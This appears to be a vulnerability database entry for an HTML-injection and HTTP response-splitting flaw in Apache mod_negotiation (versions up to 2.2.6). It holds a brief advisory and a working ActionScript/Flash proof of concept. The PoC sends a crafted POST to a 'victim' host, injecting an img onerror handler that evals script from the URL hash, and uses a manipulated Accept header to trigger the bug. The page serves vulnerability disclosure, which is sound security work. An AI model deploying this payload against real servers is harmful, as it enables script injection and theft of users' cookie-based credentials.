Lucene search
K

Apache <= 2.2.6 'mod_negotiation' HTML Injection and HTTP Response Splitting Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

Apache 'mod_negotiation' HTML Injection and HTTP Response Splitting Vulnerabilit

Code

                                                source: http://www.securityfocus.com/bid/27409/info

Apache &#39;mod_negotiation&#39; is prone to an HTML-injection and an HTTP response-splitting vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, and influence or misrepresent how web content is served, cached, or interpreted; other attacks are also possible. 

// Tested on IE 7 and FF 2.0.11, Flash plugin 9.0 r115
// Compile with flex compiler
package
{
  import flash.display.Sprite;
  import flash.net.*
  public class TestXss extends flash.display.Sprite {
    public function TestXss(){
      var r:URLRequest = new URLRequest(&#39;http://victim/&#60;img%20src=sa%20
                  onerror=eval(document.location.hash.substr(1))&#62;#alert(123)&#39;);

      r.method = &#39;POST&#39;;
      r.data = unescape(&#39;test&#39;);
      r.requestHeaders.push(new URLRequestHeader(&#39;Accept&#39;, &#39;image/jpeg; q=0&#39;));

      navigateToURL(r, &#39;_self&#39;);
     
    }
    }
}

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation